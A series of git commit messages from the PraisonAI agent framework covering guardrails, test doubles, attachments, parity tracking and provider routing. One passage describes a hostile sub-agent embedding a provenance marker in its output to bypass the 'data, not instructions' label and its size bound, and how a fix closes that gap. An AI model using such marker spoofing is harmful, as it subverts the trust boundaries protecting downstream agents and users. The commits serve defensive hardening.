Review found the Agent(llm=<object>) fix was incomplete, and it was right.
Verified by running it:
chat_completion-only backend -> self.llm=<object> custom=False BUG
get_response backend -> self.llm="custom/..." custom=True ok
llm/protocols.py documents two more backend surfaces besides get_response:
LLMProviderProtocol via chat/achat, and UnifiedLLMProtocol via
chat_completion/achat_completion. A backend implementing either still fell
through to the plain OpenAI branch, where the object became the model
identifier and the turn went to the wrong backend -- the same defect the
branch was added to fix, for a different protocol.
Detection now duck-types across all of them. Five tests, including two
controls: a plain object with no backend method is still NOT adopted, and a
string llm is unaffected.
Co-Authored-By: Claude Opus 5 <[email protected]>
CI's signatures gate failed on tool().input_guardrails and
tool().output_guardrails: both are new Python parameters with no
TypeScript counterpart.
These waivers are marked NOT an equivalence. Every other reason in
waivers.yaml documents two SDKs reaching the same result by different
routes, validated by running both. These record a real gap instead --
nothing in praisonai-ts resolves the same behaviour. They exist only to
unblock this PR, because porting is a praisonai-ts change and the two
packages do not share a branch.
Both carry expires: 2026-12-07. An expired waiver fails the check, so if
the TypeScript port is forgotten the gate goes red rather than the gap
quietly becoming permanent.
Co-Authored-By: Claude Opus 5 <[email protected]>
no_model_requests() saved and restored the single _allowed boolean, so two
overlapping scopes (or cross-thread scopes) could re-enable requests while
another scope was still open, leaking a real provider call. Track active
scopes with a counter instead: requests stay blocked until every open scope
exits. Adds regression tests for overlapping and globally-allowed cases.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
Guardrails were agent-wide: _tool_call_guardrails / _tool_result_guardrails
are fed only from Agent(guardrails=...) and fire for every tool. Approvals
gate calls interactively. Nothing sat between them, so validating one
tool's arguments -- rejecting a send_email whose recipient is off-domain --
meant hand-wrapping the function.
Adds input and output guardrails scoped to a single tool, declared
alongside the approval and trust options a tool already carries. An input
guardrail sees the arguments before the tool runs and may block or rewrite
them; an output guardrail may block or substitute the result. A blocked
call feeds a message back to the model rather than raising at the user.
Built on the existing GuardrailResult and GuardrailChain rather than a
second guardrail system, so there is one vocabulary for a validation
outcome. Ordering relative to the approval gate and the trust fence is
chosen for safety and documented at the call site.
Co-Authored-By: Claude Opus 5 <[email protected]>
Merging the three fixes made the tracker stale in a way none of the
individual branches showed: each was regenerated before the others
existed. Records 6 praisonai-ts gaps (GuardrailRetry plus the five
model_harness test-double exports), up from 0.
Recorded rather than avoided. Withholding the exports to keep the count
at zero would game the measurement instead of reporting it; Python is the
source of truth and TypeScript follows in a separate PR, which is exactly
the state this tracker exists to make visible.
Co-Authored-By: Claude Opus 5 <[email protected]>
_apply_guardrail_with_retry already retried on validation failure, but it
threw the conversation away: on rejection it built one fresh user message,
prompt + "Note: Previous response failed validation due to: ...", and sent
that alone. The system prompt, retrieved context, tool results and the
rejected answer never reached the retry. Proven against pristine code --
the second request was a single-element message list.
So the missing capability was never retry; it was feedback into the live
conversation. The retry now appends the rejected assistant turn plus the
reason as a user turn and re-calls with the full history, bounded by the
max_guardrail_retries that already existed. No competing setting is added.
Validators signal rejection the way they already could, by returning
(False, reason). GuardrailRetry is added for validators whose check fails
several frames down -- a Pydantic parse, a lookup helper -- whose message
was previously mangled into "Agent guardrail validation error: ...".
The whole-task layer had the same disease: AgentTeam re-ran tasks with the
identical prompt, logging the guardrail reason and dropping it. It now
fills the Task.validation_feedback slot that already existed, so
Process._build_task_context renders it into the re-run. Reuse of existing
wiring, not new wiring.
Two fixes fell out: the retry passed stream=True regardless of agent
config (the sync path logged an ERROR and fell back on every retry), and
GuardrailChain buried the rejection under "Guardrail error: ...".
Regenerates the parity tracker, which records GuardrailRetry as a new
praisonai-ts gap (count 0 -> 1) pending a TypeScript follow-up.
Co-Authored-By: Claude Opus 5 <[email protected]>
Nothing shipped let a user unit-test an agent offline. The repo's own
pattern is hand-rolled per test -- LLM.__new__(LLM) followed by assigning
twelve private methods -- repeated across three files.
ScriptedModel subclasses the real LLM and replaces only the
provider-facing methods, so system-prompt assembly, tool-schema
serialisation, the tool-execution loop, tool-result messages, streaming
and async all run production code. Replies are real litellm
ModelResponse objects, parsed by the same path as a live response, so the
double cannot drift from reality. It records requests, scripts tool calls,
and raises ScriptExhausted rather than hanging or inventing a reply.
allow_model_requests(False) blocks every real provider call at the 6
litellm request sites and both OpenAI client properties, and names the
offending call site -- which needed a frame walk, since requests are
dispatched through an asyncio loop on a worker thread.
Fixes a bug found while building this: Agent(llm=<model object>) fell
through every branch to the plain OpenAI path, leaving self.llm set to
the object itself and _using_custom_llm False, so every turn went to
OpenAI under a model name that was really a repr(). Passing your own
model did the opposite of what it means.
Both new error types derive from BaseException on purpose: the tool
loop's broad `except Exception` would otherwise turn "your script is one
reply short" into a silent None return.
Co-Authored-By: Claude Opus 5 <[email protected]>
_build_multimodal_prompt matched five image extensions and had no else
branch, so agent.chat(attachments=["report.pdf"]) appended nothing -- no
part, no warning, no error. The model answered from the text prompt alone
and the caller could not tell the file was ignored. A mistyped path
failed just as quietly, as did pathlib.Path attachments, directories,
non-image URLs, non-image data: URIs and video.
Routing moves to praisonaiagents/agent/attachments.py with one invariant:
an attachment either becomes a model-visible content part or produces a
loud signal. The split is on who can act on it, not on severity.
Addressing errors raise AttachmentError (a ValueError subclass, so
existing handlers still catch): the path does not exist, is a directory,
is unreadable, or is not a str/PathLike/dict. These are always caller
mistakes and there is no useful degraded answer -- continuing means the
model confidently discussing a document it never saw. The message names
the path and the cwd, since a relative path resolved from an unexpected
directory is the usual cause.
Capability limits warn and degrade visibly: the file is readable but the
target model cannot ingest that type. A logging.warning names the file,
model and remedy, AND a marker part is injected into the prompt so the
model knows too and can say it answered without the file. A log line
alone would still leave the answer looking complete.
PDF, audio and ~45 text/code extensions are now routed per model
capability via new supports_pdf_input / supports_audio_input /
supports_vision helpers. PDF degrades by local text extraction, labelled
as such. Images are unchanged, byte for byte.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix: add top-level --continue/--session/--fork to bare praisonai interactive launch (fixes#4910)
Bare `praisonai` always started a fresh conversation, unlike `run`/`chat`
which offer session continuity. This threads the existing resume machinery
into the bare interactive entry point:
- app.py main_callback: add --continue/-c, --session/-s, --fork options
- app.py bare branch: resolve session via find_last_session/
session_exists_anywhere (+ HierarchicalSessionStore.fork_session),
restore recorded model via find_session_model, reject --fork without
--continue/--session (parity with run)
- async_tui.py: add AsyncTUIConfig.resume; extract /continue core into a
shared _resume_session helper; replay the transcript on launch using the
existing _replay_history renderer
No-flag launch is byte-identical to before (fresh session).
Co-authored-by: MervinPraison <[email protected]>
* fix: wire bare-launch resume to canonical store + agent context; fail closed on fork error (#4910)
Address 3 valid P1 review findings on the bare `praisonai -c/--session/--fork`
launch path:
- Store mismatch: `_resume_session` loaded via the flat unified TUI store while
the launch selects ids from the project-scoped/global DefaultSessionStore
family (find_last_session/session_exists_anywhere/fork). Added
`_load_history_from_project_stores` fallback so a launch-resolved id (and a
--fork child) actually loads.
- Display-only context: the resumed transcript was copied into scrollback but
never reached the agent. `_build_agent` now wires the primary agent to the
resumed session via `apply_cli_session_continuity` (the same helper
`run --continue` uses), so follow-up prompts carry the restored conversation.
- Silent fork fallback: an explicit --fork that failed silently resumed the
source session. It now fails closed with exit 1.
Wrapper-only (praisonai-code); no changes to praisonaiagents. No-flag launch is
unchanged (fresh session).
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: declarative gateway schedules in gateway.yaml + `gateway schedule` CLI (fixes#4913)
Add a first-class `schedules:` section to gateway.yaml and matching
`gateway schedule add|list|remove` CLI verbs so recurring agent->channel
deliveries reach full CLI+YAML+Python parity. The runtime (models, runner,
executor, delivery loop) already existed in core; this wires the missing
operator-facing declarative surface in the wrapper tier only.
- bots/_config_schema.py: ScheduleConfigSchema + DeliveryTargetSchema; schedules on GatewayConfigSchema
- scheduler/config_loader.py: coerce YAML entry -> core ScheduleJob, idempotent upsert on a stable id
- gateway/server.py: load schedules: into the shared store at boot before the scheduler tick
- cli: `gateway schedule add|list|remove` writing the same gateway.yaml (mirrors hooks)
Co-authored-by: MervinPraison <[email protected]>
* fix: reconcile declarative gateway schedules (lifecycle, run-state, best-effort, safe CLI)
Addresses the 4 P1 review findings on #4916:
- Reconcile deletions + hot-reload: load_schedules_into_store now prunes
config-owned (cfg-*) jobs no longer present in gateway.yaml, and
_reload_config_locked invokes it so add/edit/remove take effect on
hot-reload without a restart. Chat-created jobs (random ids) untouched.
- Preserve execution state on upsert: carry over last_run_at from the
existing job so an interval / one-shot schedule is not re-fired after a
restart or edit (store.update only preserves the lease).
- Best-effort validation: GatewayConfigSchema keeps schedules as raw dicts
and validates each entry non-fatally, so one malformed schedule no longer
aborts the whole gateway startup.
- Safe CLI mutation: `gateway schedule add|remove` refuses to write when the
existing config could not be read/parsed, instead of clobbering
agents/channels/hooks with a schedule-only document.
Adds 7 tests (run-state, deletion reconcile, chat-job safety, non-fatal
malformed schema, CLI clobber guards).
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: add opt-in streaming (sentence-level) TTS for gateway voice replies (fixes#4918)
Synthesise and deliver voice replies sentence-by-sentence when
voice.stream: true, cutting time-to-first-audio to first-sentence
latency instead of whole-response latency. Audible-output-aware
failure semantics: fall back to whole-file TTS before any audio has
played, never replay once partial audio has been delivered.
Wrapper-only (praisonai-bot): reuses the existing whole-clip
synthesize_voice_reply per sentence; no new core protocol, Agent
params, or heavy deps.
Co-authored-by: MervinPraison <[email protected]>
* fix: harden streaming voice reply — best-effort delivery, whole-reply cap, delta-boundary
- telegram.py: wrap the streaming per-sentence loop in try/except so a delivery
failure never escapes _maybe_send_voice_reply (best-effort contract); enforce
max_chars against the full reply before the loop instead of per sentence.
- _tts.py: iter_sentences holds a terminator sitting at the buffer end until the
next delta confirms the boundary, so a decimal split across deltas ("3."+"14")
is not finalised as a false sentence end.
- tests: cover delta-boundary hold/emit cases.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* feat(desktop): reach Ollama, LM Studio, vLLM and the rest
The desktop has two credential settings -- Base URL and API key -- and sent
both to OPENAI_API_BASE / OPENAI_API_KEY only. litellm reads a different
variable per provider, so for every local runtime the Base URL was inert.
Measured against litellm 1.83.14 with the setting pointed at a user's host:
ollama/llama3.2 api_base = http://localhost:11434 <- default
lm_studio/qwen2.5-7b api_base = None
hosted_vllm/meta-llama/... api_base = None
Selecting Ollama on another machine sent the request to localhost. Selecting
LM Studio or vLLM sent it nowhere. The Base URL field even listed "ollama"
and "lm studio" in its search keywords, so it advertised exactly the thing it
could not do.
_apply_env now routes both settings to the variables the selected provider
actually reads, keeping the OpenAI pair in step so switching back to a bare
model id still works. Providers absent from the table follow litellm's
<PROVIDER>_API_BASE / <PROVIDER>_API_KEY convention, so one litellm gains
later needs no change here.
after: all of ollama / lm_studio / hosted_vllm / bare-openai
resolve to the configured host
The picker now offers LM Studio, vLLM, HuggingFace and OpenRouter beside the
existing entries. Every one of the eleven suggestions was checked against the
model-support guard and then against litellm: none is rejected, all route to
the configured Base URL.
Nothing here needs a new dependency: litellm arrived in the provisioned venv
with the praisonai wrapper (#4721).
15 tests, including one that asserts against litellm's own get_llm_provider
rather than only our env vars. Four mutations killed. 255 engine tests and
190 frontend tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(desktop): restore inherited provider env vars after tests
test_local_providers._clear() deleted every *_API_BASE / *_API_KEY from
os.environ without restoring the originals, so an inherited OPENAI_API_KEY
was gone for every test that ran later in the same process -- an
order-dependent suite that could mask or cause unrelated failures
(flagged by Greptile). Snapshot the provider env vars in setUp and restore
them on cleanup via a shared _RestoresProviderEnv base, keeping the per-test
isolation without leaking the mutation out.
Co-authored-by: Mervin Praison <[email protected]>
* feat(desktop): run frameworks other than PraisonAI
The desktop had no framework concept at all -- grepping "framework" across
the engine, the settings registry and the UI returned nothing, and every turn
was a single hardcoded praisonaiagents.Agent.
praisonai's FrameworkAdapterRegistry discovers adapters through the
`praisonai.framework_adapters` entry-point group, and the desktop already
provisions the praisonai wrapper (#4721), so the registry is reachable from
the engine today. Installing praisonai-frameworks registers CrewAI, AutoGen
(v2/v4/AG2), LangGraph, Agno, Google ADK, OpenAI Agents SDK and Pydantic AI
with no change here -- discovery is by entry point, not by a table in this
file.
Adds:
* GET /frameworks -- what this install can run, what it knows about, and
the install command for each one it cannot.
* A "framework" setting, defaulting to praisonai.
* Turn routing: a non-default framework runs through AgentsGenerator, which
is the only path that reaches an adapter and which takes a YAML document
rather than an Agent. The chat turn is expressed as a one-agent,
one-task config; the prompt and system prompt are JSON-encoded into it so
a quote in user input cannot corrupt the document.
A framework that is not installed is REFUSED, with its install command --
never silently swapped for the default. That silent fallback is the exact
defect this codebase ships most often: a setting that looks effective and
changes nothing.
Adapters have no streaming contract, so a framework turn arrives whole and is
emitted as a single delta through the existing accumulators; the built-in
PraisonAI path keeps streaming untouched.
15 tests. Three mutations killed, including the silent fallback and a refusal
that stops naming the package. 255 engine tests and 190 frontend tests pass.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(desktop): the framework test must not import PyYAML
engine (ubuntu-22.04) went red with ModuleNotFoundError: No module named
'yaml'. The desktop engine is stdlib-only by design -- its own module header
says so, and its CI installs nothing else -- so a test importing yaml passes
locally, where the dev venv has it, and fails there.
The quoting assertion is now made with json.dumps, which is what
_framework_yaml uses to encode the prompt, so it needs no parser. The deeper
check that the document really parses is kept as a separate test that skips
when PyYAML is absent, so it still runs wherever praisonai is installed.
271 engine tests pass under /usr/bin/python3 with no site-packages.
Co-Authored-By: Claude Opus 5 <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Convert the native filesystem path to a file:// URL via pathToFileURL
before passing it to dynamic import(), so verify:dist works on Windows
where absolute paths (e.g. F:\...) are otherwise treated as URL schemes.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: OT-WuLong <[email protected]>
Greptile P1: after a room settled, appending the next human message to the
shared durable transcript did not reopen round 0 (prior-activity agents were
counted as already-spoken) and max_messages counted lifetime history,
permanently disabling the room. Scope round/spoken/@mention/message-cap
accounting to the slice since the last human (non-roster) message so each
human turn starts a fresh, bounded activity. Pure/deterministic, no new
params or exports. Adds 3 regression tests.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
Adds a lightweight, I/O-free praisonaiagents/rooms module with the
deterministic turn-taking contract for multi-agent chat rooms:
RoomEvent, RoomTurnPlannerProtocol and a default RoundRobinRoomPlanner
(bounded rounds/messages + @mention addressing). Heavy transcript/outbox/
delivery wiring stays in the praisonai-bot wrapper.
Co-authored-by: MervinPraison <[email protected]>
Use a leading-marker (startswith) idempotency check instead of a
substring-anywhere check so a hostile sub-agent cannot embed the
envelope marker in its body to skip both the provenance header and
the max_chars bound. Adds a regression test.
Co-authored-by: Mervin Praison <[email protected]>
Extend the inbound untrusted-content discipline to the agent↔agent
boundary. A new core module praisonaiagents/session/provenance.py adds a
MessageOrigin enum and an idempotent, bounded wrap_inter_agent() transform
(sibling to neutralize_untrusted_text). Sub-agent output is now labelled as
"data, not instructions" by default at the delegation/sub-agent return seam,
with a per-source trusted_sources override for pipelines that genuinely
trust upstream agents.
Co-authored-by: MervinPraison <[email protected]>
Two changes landed within an hour of each other: one added the method-inventory
check, pinning FunctionTool.run as missing; the other ported run() and
validate(). So main carried a test asserting a gap that no longer existed.
The assertion is turned around rather than deleted. It now asserts run is NOT
missing, so a later change that drops it again fails a test instead of quietly
returning to the gap, and it still asserts safe_run remains listed so the test
cannot pass by the check going blind. The baseline is rewritten: 162 -> 160.
This is the ratchet working as intended -- it reported "2 methods divergence(s)
closed since the baseline (FunctionTool.run, FunctionTool.validate) -- run
--write to bank it" rather than reading progress as drift.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix: add native async arun to CrewAI adapter via kickoff_async (fixes#4908)
CrewAIAdapter now sets SUPPORTS_ASYNC=True and implements a native arun
that awaits crew.kickoff_async() instead of pinning a bounded-pool worker
thread for the whole run. The crew-build logic is extracted into a shared
_build_crew helper so run() and arun() construct agents/tasks identically.
Falls back to the base thread-offload path when an older crewai without
kickoff_async is installed.
Co-authored-by: MervinPraison <[email protected]>
* fix: avoid double Crew construction in CrewAI arun fallback
Gate the kickoff_async capability check on the Crew class before building
the Crew. When kickoff_async is unavailable, the thread-offload fallback now
builds exactly one Crew (inside run()) instead of constructing and discarding
a first one on the event-loop thread.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
`praisonai bot telegram` and `praisonai bot discord` both pass
`group_policy`, `allow_silence` and `silence_token` into
`_build_capabilities()`, but the helper's keyword-only signature never
accepted them, so both commands raise
`TypeError: _build_capabilities() got an unexpected keyword argument
'group_policy'` before the handler starts.
`BotCapabilities` already carries all three fields, and the five other
call sites (slack/whatsapp/linear/email/agentmail) don't pass them, so
the helper simply needs the parameters added and forwarded.
Signed-off-by: Anai-Guo <[email protected]>
* fix: guard workflow context, wire Task handler/should_run/output_variable, catch shell write-conflicts (fixes#4906)
1. process.py: workflow/aworkflow no longer crash on str/list context
items (e.g. start(content=...)). Debug logs and _build_task_context
now guard non-Task items, mirroring sequential/hierarchical.
2. agents.py: Task.handler, should_run, and output_variable are now
honoured under PraisonAIAgents/AgentTeam (not just the Workflow
engine). Handler-only tasks run their callable without an agent;
should_run gates execution; output_variable exposes results.
3. path_overlap.py: shell-like tools (execute_command etc.) whose write
target is free text are now treated as write-conflict candidates, so
parallel_tool_calls falls back to sequential for concurrent shell
writes.
Co-authored-by: Mervin Praison <[email protected]>
* fix: await async handlers, stabilise skipped-task result, catch mixed shell write-conflicts
Address reviewer (Greptile) P1 findings on PR #4907:
1. Async Task.handler was stringified, never awaited. aexecute_task now
awaits via _aexecute_task_handler; the sync handler path also resolves
coroutine handlers (astart runs sync-marked tasks through the sync path).
2. should_run skips left task.result=None, so a skipped final task made
start/astart return the full results dict instead of a string. Skips now
record a stable empty TaskOutput via _record_skipped_task. Async gates are
awaited (_atask_should_skip); the sync gate resolves coroutine gates too.
3. Write-conflict detection only counted per-function-name, so two different
shell-like tools (or a shell-like + path-based write) could race. Now any
2+ shell-like calls, or a shell-like call co-occurring with any other
potential write, force sequential execution.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* feat(parity): two checks for the divergences the layers could not see
The three layers ask whether a name is exported, whether a parameter exists,
and whether an option is acted on. None asks whether the symbol being validated
is the one users receive, or whether a class has the methods its Python
counterpart has. Both gaps produced real defects that shipped.
EXPORT IDENTITY. For every surface, resolve what src/index.ts actually leads to
under the Python name -- through re-exports, star exports, local export lists --
and compare the declaring file and name against what the surface validates.
14 of 17 match. Three do not:
Task.__init__ the checker reports 60 of 60 parameters matched against
agent/types.ts, while `import { Task }` hands out workflows'
Task. The parameters agreed; the class did not exist for any
caller.
LLM.__init__ `import { LLM }` is a type-only export -- undefined at runtime,
verified by requiring the built package -- so `new LLM(config)`
cannot work. The class is BaseLLM.
tool() `import { tool }` is the factory function; the surface
validates the FunctionTool class. Mildest of the three, and
still a false identity claim.
METHOD INVENTORY. For each curated class, list public methods on both sides,
following Python base classes through the package so Agent's twelve mixins are
seen. 162 Python methods have no TypeScript counterpart across seven classes:
Agent 75 of 81, AgentTeam 46 of 47, Session 15 of 18, BaseLLM 10, FunctionTool
6, Task 5, Handoff 5 with zero overlap. Name presence only, and the output says
so as plainly as PARITY.md does -- Agent.execute counts as present here and, until
this week, ran the agent's own instructions instead of the task it was given.
Both ratchet against a recorded baseline rather than failing outright. 165
pre-existing divergences as hard failures would redden main and block every
unrelated change, and a gate everyone routes around stops being a gate. The
known set is recorded, the full list is printed every run, and only growth
fails -- the same shape that already works for the behaviour ledger. Closing one
is reported as progress, not a diff to fix.
Proved on the real repository, not only in fixtures: making Agent.steer private
exits 1 naming Agent.steer, and restoring it returns to green. Each check was
also mutated to confirm its tests fail for the right reason -- comparing names
instead of identities fails five, making the evaluation a no-op fails two,
counting every method present fails seven, and dropping base-class following
fails three.
--write records the baseline; the checks deliberately do not run under it,
because main runs --write to refresh the reports and failing that job over a
gap it cannot write away would stop the reports refreshing at all.
Tests 257 -> 315.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(parity): harden baseline loader, disambiguate class by file, exclude accessors from method match
Addresses three reviewer findings on the new parity checks:
- P1: a truncated/conflicted inventory-baseline.json no longer reads as a
first-run (which silently dropped the ratchet); it raises BaselineError
(a ToolingError -> exit 2) so a corrupt baseline fails the gate loudly.
- P2: method inventory now passes the surface's python.file as the `prefer`
hint, so a class name declared in several files (Task, DoomLoopDetector)
resolves to the configured file instead of the alphabetically first one.
- P2: a Python method is matched only to a callable TS member; get/set
accessors no longer count as method counterparts (obj.getState() would
fail at runtime), so such gaps are still reported.
Tests: +6 (321 _dev tests pass); real-repo --check still EXIT 0.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Agent(llm="local") handed every resolved local engine the bare server root.
Ollama is correct that way -- litellm's ollama provider builds its own /api
paths from the root -- but LM Studio, vLLM, llama-server and mlx-lm all serve
under /v1, so chat went to /chat/completions and a real server answers 404.
Proved against a path-logging stub on LM Studio's default port:
before: POST /chat/completions <- 404 on a real server
after: POST /v1/chat/completions
This was latent until now and this workstream is what exposed it: before the
discovery fixes in #4870, non-Ollama engines could not be resolved at all, so
the wrong endpoint was unreachable. Fixing discovery made it live.
Ollama keeps the bare root, asserted by its own test and verified live.
Co-authored-by: Claude Opus 5 <[email protected]>
* fix(ts): the Python-named tool exports pointed at the wrong registry
praisonai-ts ships two global tool registries. tools/decorator.ts keys tools by
name, which is what praisonaiagents/tools/registry.py does. tools/registry/
holds metadata and factories and builds instances, which Python has no analogue
for. The snake_case names the parity tracker matches -- register_tool, get_tool,
get_registry, validate_tool -- resolved to the second one, so following the
Python documentation did not work:
register_tool(myFn) a type error; it wanted (metadata, factory)
get_tool("x") built an instance instead of looking one up, inside
a try/catch returning null, so a broken tool and a
missing one were indistinguishable
validate_tool(myTool) took a string id and returned a report, where Python
takes the tool and raises
The name layer scored all four as present, because a name existed. The signature
layer never looked, because they are free functions rather than curated
surfaces. This is what "the name matched something unrelated" looks like.
The Python-named exports now resolve to the name-keyed registry, which gained
Python's shape: register(tool, {name, overwrite, trustLevel,
dynamicSchemaOverrides}) accepting a FunctionTool, a BaseTool-like object or a
plain function, skipping duplicates as Python does rather than throwing, and
rejecting an invalid trust level instead of storing it. The factory registry
keeps its own job under names that say so: registerToolFactory,
createToolInstance, tryCreateToolInstance, validateToolInstall.
The swallow is fixed too: an unknown id now raises ToolNotRegisteredError and a
throwing factory raises ToolConstructionError, so "cannot build" no longer reads
as "not there". tryCreate returns null only for an id that was never registered.
FunctionTool gained run() and validate(), which Python has and TypeScript did
not. run() goes through the same approval and restart-safety gates as execute,
unlike Python's raw run(): Python can afford a raw one because @tool(approval=)
also writes to a process-wide registry keyed by tool name, and TypeScript has no
such registry, so a raw run() here would be a second ungated door onto the same
tool. Callability was deliberately not added for the same reason -- Agent's tool
handling tests `typeof tool === 'function'` before the object branch and would
route a callable FunctionTool around its own approval gate.
One audit finding is refuted rather than fixed. The suggestion was that approval
enforcement could be bypassed because TypeScript gates per instance. Every
tool-call path in the package was traced -- the LLM tool loop, both agents, the
YAML workflow runner, and the scoped registry a handoff builds -- and all reach
the tool through its instance. No bypass exists. What does exist is a boundary:
a bare callable sharing a gated tool's name carries no requirement, which is
precisely the shape a callable FunctionTool would have collapsed into.
22 tests, each with a control, including one asserting that a factory
registration stays invisible to get_tool.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(ts): resolve tool-registry review findings and refresh parity tracker
- Name-keyed registry advertises the registration key in getDefinitions()/
toOpenAITools() so a tool registered with { name } stays dispatchable.
- Inferred plain-function schema no longer marks defaulted params as required.
- Restore deprecated tools/registry subpath aliases (getRegistry/registerTool/
validateTool + snake_case) pointing at the factory registry for backward compat.
- Regenerate PARITY.md / FEATURE_PARITY_TRACKER.json (CI: exported-symbol tracker).
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(ts): Agent.execute ran the wrong thing, and getResult could only return null
Three divergences on Agent's public surface that no parity gate can see. The
name layer checks that an export exists; the signature layer checks constructor
parameters. Neither looks at what a method means.
execute() meant opposite things. Python's execute(task, context=None) reads
task.description, else str(task), and runs it. TypeScript's execute(previousResult)
ran the agent's own instructions instead. Worse than mis-using the argument:
previousResult is only ever substituted for a literal {{previous}} in the
prompt, so agent.execute("Summarise the report") DISCARDED the text entirely
unless the instructions happened to contain that placeholder. The one in-repo
caller, agent/proxy.ts:88, passes its input as the task and was already broken
by this.
It now takes the task first and the chained context second, resolving exactly as
Python does and routing through chat() so history is recorded the same way. The
old single-argument chaining is preserved as execute(undefined, previousResult),
documented and tested. A string argument now runs as the task rather than being
discarded -- a deliberate behaviour change, taken over a heuristic that would
have made the same call mean two things depending on an unrelated field, which
is the class of defect this audit is about.
getResult() was `return null`. Public, published, no Python counterpart, and no
caller anywhere in praisonai-ts, praisonai-mobile or praisonai-desktop. It is
implemented rather than deleted, because deleting published API is the larger
break for the same maintenance cost. Recording happens in one place, so all
entry points are covered and a future one cannot silently miss it; a failed turn
leaves the previous value, recording the last result there was rather than the
last attempt.
chat()'s error contract is offered, not switched. Python catches Exception,
reports it and returns None, re-raising only tool, budget and interrupt errors.
TypeScript rejects. Rejecting is the better default -- a swallowed failure is a
failure that ships -- so it stays, but a port written as `if result is None:`
becomes an unhandled rejection with no compiler help, so refusing to offer the
contract just moves the defect. `{ errorsAsNull: true }` gives Python's shape,
typed through an overload so existing callers keep Promise<string>. Terminal
errors still reject, matching Python's own re-raises. The option deliberately
sits on the chat-call type only: start() and stream() do not honour it, and an
accepted-but-ignored option is what the parity notice exists to prevent.
28 tests, each positive paired with a control. Against the previous code 17 fail
and 9 pass -- the 9 being exactly the controls for behaviour left unchanged.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(ts): restore chat signature parity, key cache by chained context, export new types
- chat() overloads dropped the plain AgentChatOptions reference the signature
parity extractor flattens (it reads matches[0] and only flattens a same-file
interface identifier, not an intersection), so Python's chat keywords
(temperature, tools, seed, ...) stopped being seen -> 18 gate failures.
First overload now names AgentChatOptions directly; errorsAsNull true/false
route to dedicated overloads via object-literal excess-property checks.
- execute() routes through chat(), whose cache key ignored previousResult; the
context is substituted into the prompt after the cache is consulted, so a
task template run with different dependency results returned a stale answer
(Greptile P1). Cache key now includes previousResult; regression test added.
- Export AgentChatCallOptions, AgentExecuteTask, AgentTaskLike from both barrels
(Greptile P2) so package-root consumers can type the new contracts.
Co-authored-by: Mervin Praison <[email protected]>
* fix(ts): record cached responses in _lastResult so getResult() is not stale
A cache hit in chatOrThrow() returned early, before runTurn() (which records
_lastResult) ran, so getResult() kept reporting an earlier turn. Record the
served response on the cache-hit path. Adds a regression test: a cache hit
after a later turn must make getResult() return the served value.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
LAZY_BUDGET_BYTES was 1700kB against a bundle measuring 912.6kB. The gate
exists to make a sizeable addition a decision rather than a drift, and at
that ceiling nothing short of nearly doubling the engine could reach it.
The raise to 1700kB was documented and deliberate, but it was measured
against a branch that no longer existed. #4874 took three AI SDK provider
packages off the phone's graph and #4882 took the team subsystem off it;
by the time #4836 merged the bundle was ~900kB, not the ~1610kB its
comment cites. Its own commit message reports "1528.0kB of its 1600kB
budget" -- 72kB UNDER the ceiling it then raised. Nothing in that PR
needed the headroom, and the feature work in it is untouched here.
Re-derived rather than restored. 1600kB was ~10% over the then-measured
1459.6kB; the ratio is the rule, not the digits, and applying it to
today's bundle gives a different number.
Measured on main at 9f591344cb with CI's exact recipe -- npm install in
praisonai-ts (honouring the package-lock.json that #4884 made tracked, so
ai 6.0.277 / @ai-sdk/openai 3.0.109 / @ai-sdk/google 3.0.121), then
npm ci in praisonai-mobile, then npm run build: 934,472 bytes, 912.6kB
across 17 lazy chunks, byte-identical across repeated builds.
The ceiling has a floor and a lid:
